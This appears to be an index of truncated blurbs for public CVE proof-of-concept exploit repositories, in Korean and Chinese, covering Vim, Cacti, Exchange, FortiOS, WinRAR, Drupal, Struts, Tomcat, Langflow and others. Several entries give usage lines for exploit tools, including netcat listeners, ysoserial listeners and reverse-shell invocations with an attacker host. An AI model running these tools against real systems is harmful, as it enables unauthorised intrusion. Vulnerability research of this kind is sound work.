CVE-2019-12735

CVE-2019-12735 이 CVE는 neovim 0.3.6 및 vim 8.1.1365 이후에 수정되었습니다. POC root@kitploit: vim demo1.txt 원격 셸 1. 악성 텍스트 파일 생성: root@kitploit: gcc makedemo3.c -o makedemo3 ./makedemo3 2. 다른 세션에서 클라이언트 실행: root@kitploit: nc -vlp 9999 3. 악성 파일 열기: root@kitploit: vim demo3.txt 그러면 세션에서 리눅스 명령어를 실행할 수 있습니다. 참고...

CVE-2022-46169

CVE-2022-46169 该仓库包含 CVE-2022-46169 的概念验证（PoC）代码——通过组合认证绕过与命令注入实现 Cacti = 1.2.22 的未授权远程代码执行，Sonar 在这篇博客文章中对此进行了描述。相同的漏洞也由 Source Incite 的 Steven Seeley mrme 独立发现。 用法： root@kitploit: 位置参数： target Cacti 应用的 URL。 可选参数： -f FILE 包含命令的文件 -c CMD 命令 --nhostids 尝试的 hostid 范围（0 - n） --nlocaldataids 尝试的...

CVE-2021-26295

CVE-2021-26295 CVE-2021-26295 EXP — 성공적으로 셸 획득 가능 이 문서 및 도구는 기술 공유 목적으로만 제공되며, 불법적인 용도로 사용하는 것을 엄격히 금지합니다. 위반 시 발생하는 모든 결과는 사용자 본인이 책임집니다. 명령 실행 EXP 트리거 1. VPS에서 RMI 리스너를 9999 포트로 시작 root@kitploit: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '실행할 명령' 2. VPS에서 nc...

CVE-2020-0688

CVE-2020-0688 CVE-2020-0688 "Microsoft Exchange 기본 MachineKeySection 역직렬화 취약점" 공격 스크립트 사용법: root@kitploit: powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml -uri 예시: 다음은 응답에 헤더를 설정하여 취약점을 검증하는 예시입니다. root@kitploit: powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml Set-Header.xml -uri...

CVE-2021-34371.jar

CVE-2021-34371.jar CVE-2021-34371.jar 출처: https://github.com/vulhub/vulhub/tree/master/neo4j/CVE-2021-34371/rhinogadget EXP 사용...

CVE-2022-48311

CVE-2022-48311 HP Deskjet 2540 시리즈 프린터 펌웨어 버전 CEP1FN1418BR 및 제품 모델 번호 A9U23B HTTP 설정 페이지 크로스 사이트 스크립팅XSS 취약점 설명 HP Deskjet 2540 시리즈 프린터 펌웨어 버전 CEP1FN1418BR 및 제품 모델 번호 A9U23B의 크로스 사이트 스크립팅XSS 취약점을 통해 인증된 공격자가 HTTP 설정 페이지를 통해 자신의 스크립트를 페이지에 주입할 수 있습니다. 추가 정보 해결 방법은 적절한 응답 헤더를 사용합니다. HTML이나...

CVE-2023-25610

CVE-2023-25610 FortiOS 관리 인터페이스의 힙 메모리 언더플로우로 인한 원격 코드 실행. 범위 및 제한 1. Fortinet 6.x 2. TLSv1.3 기반, 다른 TLS 버전에서는 차이가 있을 수 있음 사용법 python3 cve-2022-42475.py rhost rport lhost 'command' root@kitploit: python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /' 리스너 EXP는 포트 31337에서 파이썬 명령으로 리버스 셸을...

Log4jPatch

-- 此仓库已被归档 -- 该工具的后续开发将继续在 corretto/hotpatch-for-apache-log4j2 进行。 感谢大家的分享、评论、试用以及对本项目的贡献！ Log4jPatch 这是一个简单工具的POC，用于向正在运行的JVM进程注入一个Java agent。该agent会修补所有已加载的 org.apache.logging.log4j.core.lookup.JndiLookup 实例中的 lookup 方法，使其无条件返回字符串 "Patched JndiLookup::lookup"。这应该在无需重启Java进程的情况下修复 Log4j 中的...

CVE-2019-5418

CVE-2019-5418 - Rails에서의 파일 내용 노출 수정 : 이 CVE는 원격 코드 실행Remote Code Execution으로 이어질 수 있습니다. 자세한 정보: https://github.com/mpgn/Rails-doubletap-RCE Action View에 파일 내용 노출 취약점이 존재할 수 있습니다. 특수하게 조작된 accept 헤더와 render file: 호출을 함께 사용하면 대상 서버의 임의의 파일이 렌더링되어 파일 내용이 노출될 수 있습니다. 이 영향은 지정된 accept 형식 없이 파일 내용을...

THM-Steel_Mountain-CVE-2014-6287

THM-SteelMountain-CVE-2014-6287 TryHackMe.com의 Steel Mountain 박스에 대한 분석 글 및 CVE-2014-6287 익스플로잇 크레딧 저는 이 취약점의 최초 발견 및 익스플로잇에 대한 공로를 주장하지 않습니다. 다음 분들께 감사드립니다! 발견: Daniele Linguaglossa Metasploit 모듈 작성자: Muhamad Fadzil Ramli TryHackMe 룸 및 작성자: https://tryhackme.com/room/steelmountain...

imbyter-WinRAR_CVE-2023-38831

💥 WinRAR 취약점 설명 CVE-2023-38831 WinRAR 버전 6.23 이전에는 파일 확장자 속임 취약점이 존재합니다. 공격자는 이 취약점을 이용하여 특수 제작된 압축 파일에 JPG .jpg 이미지 파일, 텍스트 파일 .txt, PDF 문서 .pdf 등 무해해 보이는 파일을 포함시키고, 사용자가 압축을 풀지 않고 해당 파일을 직접 열도록 유도하여 피해자 시스템에서 임의 코드를 실행할 수 있습니다. 취약점 번호: CVE-2023-38831 취약점 유형: 논리적 취약점 소프트웨어 이름: RARLAB WinRAR 모듈 이...

CVE-2023-38831-PoC

CVE-2023-38831 PoC 이 저장소는 WinRAR의 CVE-2023-38831 제로데이 취약점에 대한 개념 증명PoC입니다. 6.23 이전의 RARLabs WinRAR에서는 사용자가 ZIP 아카이브 내의 정상 파일을 보려고 시도할 때 공격자가 임의 코드를 실행할 수 있습니다. 이 문제는 ZIP 아카이브에 정상 파일예: 일반 .JPG 파일과 해당 정상 파일과 동일한 이름의 폴더가 함께 포함될 수 있고, 정상 파일에만 접근하려는 동안 해당 폴더의 내용실행 가능한 콘텐츠를 포함할 수 있음이 처리되기 때문에 발생합니다. 이는...

poc-cve-2025-69219

CVE-2025-69219 apache airflow unsafe deserialization to RCE 1. copy poc.py to your Airflow dags directory. 2. trigger the poc workflow from the UI. 3. check task logs for execution output...

CVE-2018-7600

CVE-2018-7600 / SA-CORE-2018-002에 대한 개념 증명 codebeat badge Drupal 7.58 이전 버전, 8.x 8.3.9 이전 버전, 8.4.x 8.4.6 이전 버전, 8.5.x 8.5.1 이전 버전에서는 기본 또는 일반적인 모듈 구성과 함께 여러 하위 시스템에 영향을 미치는 문제로 인해 원격 공격자가 임의 코드를 실행할 수 있습니다. 작동 방식 1. drupalajax 래퍼에 패킷을 보내 사용자를 등록합니다. 사용자가 exec 마크업을 사용하고 bash를 실행할 수 있게 합니다. 이 PoC는...

CVE-2026-33017

🚨 CVE-2026-33017 - Langflow의 치명적인 인증되지 않은 원격 코드 실행 Langflow 버전 ≤ 1.8.2 에는 인증되지 않은 공격자 가 서버에서 원격 코드 실행RCE을 달성할 수 있게 하는 심각한 보안 취약점이 존재합니다. 📊 취약점 세부 정보 속성| 세부 정보 ---|--- CVE ID| CVE-2026-33017 심각도| 치명적 CVSS 9.8 영향받는 버전| Langflow ≤ 1.8.2 패치 버전| Langflow 1.9.0 이상 취약점 유형| 인증되지 않은 코드 삽입 exec 공격 경로|...

CVE-2021-44228-log4Shell

CVE-2021-44228-log4Shell 익스플로잇 익스플로잇 테스트 google.com에 ping을 실행합니다 모든 명령 실행 가능 OS 이름, 버전 및 아키텍처를 출력합니다 OS 및 사용자에 대한 세부 정보 수집 원격 머신에서 계산기를 엽니다 모든 실행 파일 실행 가능 이 README.md를 github에서 다운로드합니다 ExploitTest 실행 root@kitploit: java ExploitTest 샘플 log4shell 링크 https://log4shell.huntress.com/...

CVE20131491-JIT

========================= 제목 ========================================= CVE-2013-1491 JIT-Spray를 이용한 PoC Yuki Chen 古河 제작 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 트위터: @guhe120 Weibo: http://weibo.com/u/1874932054 ========================= 이 PoC에 대하여...

CVE-2020-17530

CVE-2020-17530 CVE-2020-17530에 대한 간단한 POC입니다. Apache Struts 버전 2.0.0 2.5.25에서 태그 속성의 원시 사용자 입력에 대해 강제로 OGNLObject Graph Navigational Language 평가를 수행하면 원격 코드 실행RCE이 발생할 수 있습니다. root@kitploit: $ python CVE-2020-17530.py --help usage: CVE-2020-17530.py -h -c COMMAND -n NAME -p PORT -t TARGET -u URI...

cve-2025-24813-poc

CVE-2025-24813 Apache Tomcat RCE 익스플로잇 PoC 이 저장소는 Apache Tomcat의 Java 역직렬화 취약점인 CVE-2025-24813에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 다음을 기반으로 합니다. absholi7ly/POC-CVE-2025-24813/. 전제 조건 Docker 설정 1. 의존성 설치: root@kitploit: uv venv source .venv/bin/activate uv sync 2. ysoserial 다운로드: root@kitploit:...

CVE-2024-25292

RenderTune RCE CVE-2024-25292 漏洞的概念验证。 RenderTune v1.1.4 中存在跨站脚本 XSS 漏洞，攻击者可通过向“上传标题”参数注入精心构造的有效载荷来执行任意 Web 脚本或 HTML。 本仓库包含一个示例的易受攻击应用程序及其概念验证 PoC 漏洞利用程序。 作为 PoC，提供了一个自动完成该过程的 Python 文件。 1. 漏洞概述： 这是一个通过 XSS 实现 RCE 的漏洞。 标题中存在一个可执行 XSS 的部分，因此该漏洞能够通过 XSS 语法利用 NodeJS 语法实现 RCE。 2. 漏洞成因： nteract 0.28.0...